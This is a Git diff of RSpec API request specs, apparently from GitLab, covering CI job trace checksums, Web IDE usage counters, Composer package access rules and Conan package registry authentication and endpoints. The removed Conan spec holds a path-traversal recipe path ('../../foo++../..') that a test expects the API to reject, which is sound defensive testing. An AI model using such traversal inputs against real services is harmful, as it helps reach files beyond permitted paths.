+ it 'responds with 202 and then with 200', :sidekiq_inline do
+ perform_enqueued_jobs do
+ update_job(state: 'success', checksum: 'crc32:12345678')
+ end
+
+ expect(job.reload.pending_state).to be_present
+ expect(response).to have_gitlab_http_status(:accepted)
+
+ perform_enqueued_jobs do
+ update_job(state: 'success', checksum: 'crc32:12345678')
+ end
+
+ expect(job.reload.pending_state).not_to be_present
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when live trace chunk has been migrated' do
+ before do
+ job.trace_chunks.first.update!(data_store: :database)
+ end
+
+ it 'responds with 200' do
+ update_job(state: 'success', checksum: 'crc:12345678')
+
+ expect(job.reload).to be_success
+ expect(job.pending_state).not_to be_present
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'when checksum is not present' do
+ it 'responds with 200' do
+ update_job(state: 'success')
+
+ expect(job.reload).to be_success
+ expect(job.pending_state).not_to be_present
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
end
context 'when trace is given' do
diff --git a/spec/requests/api/commits_spec.rb b/spec/requests/api/commits_spec.rb
index 21ff0a94db9..d34244771ad 100644
--- a/spec/requests/api/commits_spec.rb
+++ b/spec/requests/api/commits_spec.rb
@@ -367,10 +367,31 @@ RSpec.describe API::Commits do
end
end
- it 'does not increment the usage counters using access token authentication' do
- expect(::Gitlab::UsageDataCounters::WebIdeCounter).not_to receive(:increment_commits_count)
+ context 'when using access token authentication' do
+ it 'does not increment the usage counters' do
+ expect(::Gitlab::UsageDataCounters::WebIdeCounter).not_to receive(:increment_commits_count)
+ expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).not_to receive(:track_web_ide_edit_action)
- post api(url, user), params: valid_c_params
+ post api(url, user), params: valid_c_params
+ end
+ end
+
+ context 'when using warden' do
+ it 'increments usage counters', :clean_gitlab_redis_shared_state do
+ session_id = Rack::Session::SessionId.new('6919a6f1bb119dd7396fadc38fd18d0d')
+ session_hash = { 'warden.user.user.key' => [[user.id], user.encrypted_password[0, 29]] }
+
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set("session:gitlab:#{session_id.private_id}", Marshal.dump(session_hash))
+ end
+
+ cookies[Gitlab::Application.config.session_options[:key]] = session_id.public_id
+
+ expect(::Gitlab::UsageDataCounters::WebIdeCounter).to receive(:increment_commits_count)
+ expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).to receive(:track_web_ide_edit_action)
+
+ post api(url), params: valid_c_params
+ end
end
context 'a new file in project repo' do
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index f5b8ebb545b..f5279af0483 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -26,30 +26,61 @@ RSpec.describe API::ComposerPackages do
group.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
end
- where(:project_visibility_level, :user_role, :member, :user_token, :include_package) do
- 'PUBLIC' | :developer | true | true | :include_package
- 'PUBLIC' | :developer | true | false | :include_package
- 'PUBLIC' | :developer | false | false | :include_package
- 'PUBLIC' | :developer | false | true | :include_package
- 'PUBLIC' | :guest | true | true | :include_package
- 'PUBLIC' | :guest | true | false | :include_package
- 'PUBLIC' | :guest | false | true | :include_package
- 'PUBLIC' | :guest | false | false | :include_package
- 'PUBLIC' | :anonymous | false | true | :include_package
- 'PRIVATE' | :developer | true | true | :include_package
- 'PRIVATE' | :developer | true | false | :does_not_include_package
- 'PRIVATE' | :developer | false | true | :does_not_include_package
- 'PRIVATE' | :developer | false | false | :does_not_include_package
- 'PRIVATE' | :guest | true | true | :does_not_include_package
- 'PRIVATE' | :guest | true | false | :does_not_include_package
- 'PRIVATE' | :guest | false | true | :does_not_include_package
- 'PRIVATE' | :guest | false | false | :does_not_include_package
- 'PRIVATE' | :anonymous | false | true | :does_not_include_package
+ context 'with basic auth' do
+ where(:project_visibility_level, :user_role, :member, :user_token, :include_package) do
+ 'PUBLIC' | :developer | true | true | :include_package
+ 'PUBLIC' | :developer | false | true | :include_package
+ 'PUBLIC' | :guest | true | true | :include_package
+ 'PUBLIC' | :guest | false | true | :include_package
+ 'PUBLIC' | :anonymous | false | true | :include_package
+ 'PRIVATE' | :developer | true | true | :include_package
+ 'PRIVATE' | :developer | false | true | :does_not_include_package
+ 'PRIVATE' | :guest | true | true | :does_not_include_package
+ 'PRIVATE' | :guest | false | true | :does_not_include_package
+ 'PRIVATE' | :anonymous | false | true | :does_not_include_package
+ 'PRIVATE' | :guest | false | false | :does_not_include_package
+ 'PRIVATE' | :guest | true | false | :does_not_include_package
+ 'PRIVATE' | :developer | false | false | :does_not_include_package
+ 'PRIVATE' | :developer | true | false | :does_not_include_package
+ 'PUBLIC' | :developer | true | false | :include_package
+ 'PUBLIC' | :guest | true | false | :include_package
+ 'PUBLIC' | :developer | false | false | :include_package
+ 'PUBLIC' | :guest | false | false | :include_package
+ end
+
+ with_them do
+ include_context 'Composer api project access', params[:project_visibility_level], params[:user_role], params[:user_token], :basic do
+ it_behaves_like 'Composer package index', params[:user_role], :success, params[:member], params[:include_package]
+ end
+ end
end
- with_them do
- include_context 'Composer api project access', params[:project_visibility_level], params[:user_role], params[:user_token] do
- it_behaves_like 'Composer package index', params[:user_role], :success, params[:member], params[:include_package]
+ context 'with private token header auth' do
+ where(:project_visibility_level, :user_role, :member, :user_token, :expected_status, :include_package) do
+ 'PUBLIC' | :developer | true | true | :success | :include_package
+ 'PUBLIC' | :developer | false | true | :success | :include_package
+ 'PUBLIC' | :guest | true | true | :success | :include_package
+ 'PUBLIC' | :guest | false | true | :success | :include_package
+ 'PUBLIC' | :anonymous | false | true | :success | :include_package
+ 'PRIVATE' | :developer | true | true | :success | :include_package
+ 'PRIVATE' | :developer | false | true | :success | :does_not_include_package
+ 'PRIVATE' | :guest | true | true | :success | :does_not_include_package
+ 'PRIVATE' | :guest | false | true | :success | :does_not_include_package
+ 'PRIVATE' | :anonymous | false | true | :success | :does_not_include_package
+ 'PRIVATE' | :guest | false | false | :unauthorized | nil
+ 'PRIVATE' | :guest | true | false | :unauthorized | nil
+ 'PRIVATE' | :developer | false | false | :unauthorized | nil
+ 'PRIVATE' | :developer | true | false | :unauthorized | nil
+ 'PUBLIC' | :developer | true | false | :unauthorized | nil
+ 'PUBLIC' | :guest | true | false | :unauthorized | nil
+ 'PUBLIC' | :developer | false | false | :unauthorized | nil
+ 'PUBLIC' | :guest | false | false | :unauthorized | nil
+ end
+
+ with_them do
+ include_context 'Composer api project access', params[:project_visibility_level], params[:user_role], params[:user_token], :token do
+ it_behaves_like 'Composer package index', params[:user_role], params[:expected_status], params[:member], params[:include_package]
+ end
end
end
end
@@ -105,22 +136,22 @@ RSpec.describe API::ComposerPackages do
context 'with valid project' do
where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
'PUBLIC' | :developer | true | true | 'Composer provider index' | :success
- 'PUBLIC' | :developer | true | false | 'Composer provider index' | :success
+ 'PUBLIC' | :developer | true | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :developer | false | true | 'Composer provider index' | :success
- 'PUBLIC' | :developer | false | false | 'Composer provider index' | :success
+ 'PUBLIC' | :developer | false | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :guest | true | true | 'Composer provider index' | :success
- 'PUBLIC' | :guest | true | false | 'Composer provider index' | :success
+ 'PUBLIC' | :guest | true | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :guest | false | true | 'Composer provider index' | :success
- 'PUBLIC' | :guest | false | false | 'Composer provider index' | :success
+ 'PUBLIC' | :guest | false | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :anonymous | false | true | 'Composer provider index' | :success
'PRIVATE' | :developer | true | true | 'Composer provider index' | :success
- 'PRIVATE' | :developer | true | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :developer | true | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :developer | false | true | 'process Composer api request' | :not_found
- 'PRIVATE' | :developer | false | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :developer | false | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :guest | true | true | 'Composer empty provider index' | :success
- 'PRIVATE' | :guest | true | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :guest | true | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :guest | false | true | 'process Composer api request' | :not_found
- 'PRIVATE' | :guest | false | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :guest | false | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :anonymous | false | true | 'process Composer api request' | :not_found
end
@@ -151,22 +182,22 @@ RSpec.describe API::ComposerPackages do
where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
'PUBLIC' | :developer | true | true | 'Composer package api request' | :success
- 'PUBLIC' | :developer | true | false | 'Composer package api request' | :success
+ 'PUBLIC' | :developer | true | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :developer | false | true | 'Composer package api request' | :success
- 'PUBLIC' | :developer | false | false | 'Composer package api request' | :success
+ 'PUBLIC' | :developer | false | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :guest | true | true | 'Composer package api request' | :success
- 'PUBLIC' | :guest | true | false | 'Composer package api request' | :success
+ 'PUBLIC' | :guest | true | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :guest | false | true | 'Composer package api request' | :success
- 'PUBLIC' | :guest | false | false | 'Composer package api request' | :success
+ 'PUBLIC' | :guest | false | false | 'process Composer api request' | :unauthorized
'PUBLIC' | :anonymous | false | true | 'Composer package api request' | :success
'PRIVATE' | :developer | true | true | 'Composer package api request' | :success
- 'PRIVATE' | :developer | true | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :developer | true | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :developer | false | true | 'process Composer api request' | :not_found
- 'PRIVATE' | :developer | false | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :developer | false | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :guest | true | true | 'process Composer api request' | :not_found
- 'PRIVATE' | :guest | true | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :guest | true | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :guest | false | true | 'process Composer api request' | :not_found
- 'PRIVATE' | :guest | false | false | 'process Composer api request' | :not_found
+ 'PRIVATE' | :guest | false | false | 'process Composer api request' | :unauthorized
'PRIVATE' | :anonymous | false | true | 'process Composer api request' | :not_found
end
diff --git a/spec/requests/api/conan_instance_packages_spec.rb b/spec/requests/api/conan_instance_packages_spec.rb
new file mode 100644
index 00000000000..817530f0bad
--- /dev/null
+++ b/spec/requests/api/conan_instance_packages_spec.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::ConanInstancePackages do
+ include_context 'conan api setup'
+
+ describe 'GET /api/v4/packages/conan/v1/ping' do
+ let_it_be(:url) { '/packages/conan/v1/ping' }
+
+ it_behaves_like 'conan ping endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/search' do
+ let_it_be(:url) { '/packages/conan/v1/conans/search' }
+
+ it_behaves_like 'conan search endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/users/authenticate' do
+ let_it_be(:url) { '/packages/conan/v1/users/authenticate' }
+
+ it_behaves_like 'conan authenticate endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/users/check_credentials' do
+ let_it_be(:url) { "/packages/conan/v1/users/check_credentials" }
+
+ it_behaves_like 'conan check_credentials endpoint'
+ end
+
+ context 'recipe endpoints' do
+ include_context 'conan recipe endpoints'
+
+ let(:project_id) { 9999 }
+ let(:url_prefix) { "#{Settings.gitlab.base_url}/api/v4" }
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
+ let(:recipe_path) { package.conan_recipe_path }
+ let(:url) { "/packages/conan/v1/conans/#{recipe_path}" }
+
+ it_behaves_like 'recipe snapshot endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference' do
+ let(:recipe_path) { package.conan_recipe_path }
+ let(:url) { "/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}" }
+
+ it_behaves_like 'package snapshot endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/digest' do
+ subject { get api("/packages/conan/v1/conans/#{recipe_path}/digest"), headers: headers }
+
+ it_behaves_like 'recipe download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/download_urls' do
+ subject { get api("/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/download_urls"), headers: headers }
+
+ it_behaves_like 'package download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/download_urls' do
+ subject { get api("/packages/conan/v1/conans/#{recipe_path}/download_urls"), headers: headers }
+
+ it_behaves_like 'recipe download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/digest' do
+ subject { get api("/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/digest"), headers: headers }
+
+ it_behaves_like 'package download_urls endpoint'
+ end
+
+ describe 'POST /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/upload_urls' do
+ subject { post api("/packages/conan/v1/conans/#{recipe_path}/upload_urls"), params: params.to_json, headers: headers }
+
+ it_behaves_like 'recipe upload_urls endpoint'
+ end
+
+ describe 'POST /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/upload_urls' do
+ subject { post api("/packages/conan/v1/conans/#{recipe_path}/packages/123456789/upload_urls"), params: params.to_json, headers: headers }
+
+ it_behaves_like 'package upload_urls endpoint'
+ end
+
+ describe 'DELETE /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
+ subject { delete api("/packages/conan/v1/conans/#{recipe_path}"), headers: headers}
+
+ it_behaves_like 'delete package endpoint'
+ end
+ end
+
+ context 'file download endpoints' do
+ include_context 'conan file download endpoints'
+
+ describe 'GET /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
+:recipe_revision/export/:file_name' do
+ subject do
+ get api("/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/export/#{recipe_file.file_name}"),
+ headers: headers
+ end
+
+ it_behaves_like 'recipe file download endpoint'
+ it_behaves_like 'project not found by recipe'
+ end
+
+ describe 'GET /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
+:recipe_revision/package/:conan_package_reference/:package_revision/:file_name' do
+ subject do
+ get api("/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/package/#{metadata.conan_package_reference}/#{metadata.package_revision}/#{package_file.file_name}"),
+ headers: headers
+ end
+
+ it_behaves_like 'package file download endpoint'
+ it_behaves_like 'project not found by recipe'
+ end
+ end
+
+ context 'file upload endpoints' do
+ include_context 'conan file upload endpoints'
+
+ describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name/authorize' do
+ let(:file_name) { 'conanfile.py' }
+
+ subject { put api("/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}/authorize"), headers: headers_with_token }
+
+ it_behaves_like 'workhorse authorize endpoint'
+ end
+
+ describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name/authorize' do
+ let(:file_name) { 'conaninfo.txt' }
+
+ subject { put api("/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}/authorize"), headers: headers_with_token }
+
+ it_behaves_like 'workhorse authorize endpoint'
+ end
+
+ describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name' do
+ let(:url) { "/api/v4/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}" }
+
+ it_behaves_like 'workhorse recipe file upload endpoint'
+ end
+
+ describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name' do
+ let(:url) { "/api/v4/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}" }
+
+ it_behaves_like 'workhorse package file upload endpoint'
+ end
+ end
+end
diff --git a/spec/requests/api/conan_packages_spec.rb b/spec/requests/api/conan_packages_spec.rb
deleted file mode 100644
index d24f6b68048..00000000000
--- a/spec/requests/api/conan_packages_spec.rb
+++ /dev/null
@@ -1,954 +0,0 @@
-# frozen_string_literal: true
-require 'spec_helper'
-
-RSpec.describe API::ConanPackages do
- include WorkhorseHelpers
- include HttpBasicAuthHelpers
- include PackagesManagerApiSpecHelpers
-
- let(:package) { create(:conan_package) }
- let_it_be(:personal_access_token) { create(:personal_access_token) }
- let_it_be(:user) { personal_access_token.user }
- let(:project) { package.project }
-
- let(:base_secret) { SecureRandom.base64(64) }
- let(:auth_token) { personal_access_token.token }
- let(:job) { create(:ci_build, user: user, status: :running) }
- let(:job_token) { job.token }
- let(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
- let(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
-
- let(:headers) do
- { 'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Basic.encode_credentials('foo', auth_token) }
- end
-
- let(:jwt_secret) do
- OpenSSL::HMAC.hexdigest(
- OpenSSL::Digest::SHA256.new,
- base_secret,
- Gitlab::ConanToken::HMAC_KEY
- )
- end
-
- before do
- project.add_developer(user)
- allow(Settings).to receive(:attr_encrypted_db_key_base).and_return(base_secret)
- end
-
- describe 'GET /api/v4/packages/conan/v1/ping' do
- it 'responds with 401 Unauthorized when no token provided' do
- get api('/packages/conan/v1/ping')
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'responds with 200 OK when valid token is provided' do
- jwt = build_jwt(personal_access_token)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
- end
-
- it 'responds with 200 OK when valid job token is provided' do
- jwt = build_jwt_from_job(job)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
- end
-
- it 'responds with 200 OK when valid deploy token is provided' do
- jwt = build_jwt_from_deploy_token(deploy_token)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
- end
-
- it 'responds with 401 Unauthorized when invalid access token ID is provided' do
- jwt = build_jwt(double(id: 12345), user_id: personal_access_token.user_id)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'responds with 401 Unauthorized when invalid user is provided' do
- jwt = build_jwt(personal_access_token, user_id: 12345)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'responds with 401 Unauthorized when the provided JWT is signed with different secret' do
- jwt = build_jwt(personal_access_token, secret: SecureRandom.base64(32))
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'responds with 401 Unauthorized when invalid JWT is provided' do
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header('invalid-jwt')
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'responds with 401 Unauthorized when the job is not running' do
- job.update!(status: :failed)
- jwt = build_jwt_from_job(job)
- get api('/packages/conan/v1/ping'), headers: build_token_auth_header(jwt.encoded)
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- context 'packages feature disabled' do
- it 'responds with 404 Not Found' do
- stub_packages_setting(enabled: false)
- get api('/packages/conan/v1/ping')
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/search' do
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
-
- get api('/packages/conan/v1/conans/search'), headers: headers, params: params
- end
-
- subject { json_response['results'] }
-
- context 'returns packages with a matching name' do
- let(:params) { { q: package.conan_recipe } }
-
- it { is_expected.to contain_exactly(package.conan_recipe) }
- end
-
- context 'returns packages using a * wildcard' do
- let(:params) { { q: "#{package.name[0, 3]}*" } }
-
- it { is_expected.to contain_exactly(package.conan_recipe) }
- end
-
- context 'does not return non-matching packages' do
- let(:params) { { q: "foo" } }
-
- it { is_expected.to be_blank }
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/users/authenticate' do
- subject { get api('/packages/conan/v1/users/authenticate'), headers: headers }
-
- context 'when using invalid token' do
- let(:auth_token) { 'invalid_token' }
-
- it 'responds with 401' do
- subject
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- context 'when valid JWT access token is provided' do
- it 'responds with 200' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
-
- it 'token has valid validity time' do
- Timecop.freeze do
- subject
-
- payload = JSONWebToken::HMACToken.decode(
- response.body, jwt_secret).first
- expect(payload['access_token']).to eq(personal_access_token.id)
- expect(payload['user_id']).to eq(personal_access_token.user_id)
-
- duration = payload['exp'] - payload['iat']
- expect(duration).to eq(1.hour)
- end
- end
- end
-
- context 'with valid job token' do
- let(:auth_token) { job_token }
-
- it 'responds with 200' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- context 'with valid deploy token' do
- let(:auth_token) { deploy_token.token }
-
- it 'responds with 200' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/users/check_credentials' do
- it 'responds with a 200 OK with PAT' do
- get api('/packages/conan/v1/users/check_credentials'), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- end
-
- context 'with job token' do
- let(:auth_token) { job_token }
-
- it 'responds with a 200 OK with job token' do
- get api('/packages/conan/v1/users/check_credentials'), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- context 'with deploy token' do
- let(:auth_token) { deploy_token.token }
-
- it 'responds with a 200 OK with job token' do
- get api('/packages/conan/v1/users/check_credentials'), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- it 'responds with a 401 Unauthorized when an invalid token is used' do
- get api('/packages/conan/v1/users/check_credentials'), headers: build_token_auth_header('invalid-token')
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- shared_examples 'rejects invalid recipe' do
- context 'with invalid recipe path' do
- let(:recipe_path) { '../../foo++../..' }
-
- it 'returns 400' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
- end
-
- shared_examples 'rejects invalid file_name' do |invalid_file_name|
- let(:file_name) { invalid_file_name }
-
- context 'with invalid file_name' do
- it 'returns 400' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
- end
-
- shared_examples 'rejects recipe for invalid project' do
- context 'with invalid recipe path' do
- let(:recipe_path) { 'aa/bb/not-existing-project/ccc' }
-
- it 'returns forbidden' do
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
- end
-
- shared_examples 'rejects recipe for not found package' do
- context 'with invalid recipe path' do
- let(:recipe_path) do
- 'aa/bb/%{project}/ccc' % { project: ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) }
- end
-
- it 'returns not found' do
- subject
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- shared_examples 'empty recipe for not found package' do
- context 'with invalid recipe url' do
- let(:recipe_path) do
- 'aa/bb/%{project}/ccc' % { project: ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) }
- end
-
- it 'returns not found' do
- allow(::Packages::Conan::PackagePresenter).to receive(:new)
- .with(
- 'aa/bb@%{project}/ccc' % { project: ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) },
- user,
- project,
- any_args
- ).and_return(presenter)
- allow(presenter).to receive(:recipe_snapshot) { {} }
- allow(presenter).to receive(:package_snapshot) { {} }
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq("{}")
- end
- end
- end
-
- shared_examples 'recipe download_urls' do
- let(:recipe_path) { package.conan_recipe_path }
-
- it 'returns the download_urls for the recipe files' do
- expected_response = {
- 'conanfile.py' => "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
- 'conanmanifest.txt' => "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
- }
-
- allow(presenter).to receive(:recipe_urls) { expected_response }
-
- subject
-
- expect(json_response).to eq(expected_response)
- end
- end
-
- shared_examples 'package download_urls' do
- let(:recipe_path) { package.conan_recipe_path }
-
- it 'returns the download_urls for the package files' do
- expected_response = {
- 'conaninfo.txt' => "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt",
- 'conanmanifest.txt' => "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conanmanifest.txt",
- 'conan_package.tgz' => "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conan_package.tgz"
- }
-
- allow(presenter).to receive(:package_urls) { expected_response }
-
- subject
-
- expect(json_response).to eq(expected_response)
- end
- end
-
- context 'recipe endpoints' do
- let(:jwt) { build_jwt(personal_access_token) }
- let(:headers) { build_token_auth_header(jwt.encoded) }
- let(:conan_package_reference) { '123456789' }
- let(:presenter) { double('::Packages::Conan::PackagePresenter') }
-
- before do
- allow(::Packages::Conan::PackagePresenter).to receive(:new)
- .with(package.conan_recipe, user, package.project, any_args)
- .and_return(presenter)
- end
-
- shared_examples 'rejects invalid upload_url params' do
- context 'with unaccepted json format' do
- let(:params) { %w[foo bar] }
-
- it 'returns 400' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
- end
-
- shared_examples 'successful response when using Unicorn' do
- context 'on Unicorn', :unicorn do
- it 'returns successfully' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
- let(:recipe_path) { package.conan_recipe_path }
-
- subject { get api("/packages/conan/v1/conans/#{recipe_path}"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'empty recipe for not found package'
-
- context 'with existing package' do
- it 'returns a hash of files with their md5 hashes' do
- expected_response = {
- 'conanfile.py' => 'md5hash1',
- 'conanmanifest.txt' => 'md5hash2'
- }
-
- allow(presenter).to receive(:recipe_snapshot) { expected_response }
-
- subject
-
- expect(json_response).to eq(expected_response)
- end
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference' do
- let(:recipe_path) { package.conan_recipe_path }
-
- subject { get api("/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'empty recipe for not found package'
-
- context 'with existing package' do
- it 'returns a hash of md5 values for the files' do
- expected_response = {
- 'conaninfo.txt' => "md5hash1",
- 'conanmanifest.txt' => "md5hash2",
- 'conan_package.tgz' => "md5hash3"
- }
-
- allow(presenter).to receive(:package_snapshot) { expected_response }
-
- subject
-
- expect(json_response).to eq(expected_response)
- end
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/digest' do
- subject { get api("/packages/conan/v1/conans/#{recipe_path}/digest"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'recipe download_urls'
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/download_urls' do
- subject { get api("/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/download_urls"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'package download_urls'
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/download_urls' do
- subject { get api("/packages/conan/v1/conans/#{recipe_path}/download_urls"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'recipe download_urls'
- end
-
- describe 'GET /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/digest' do
- subject { get api("/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/digest"), headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects recipe for invalid project'
- it_behaves_like 'package download_urls'
- end
-
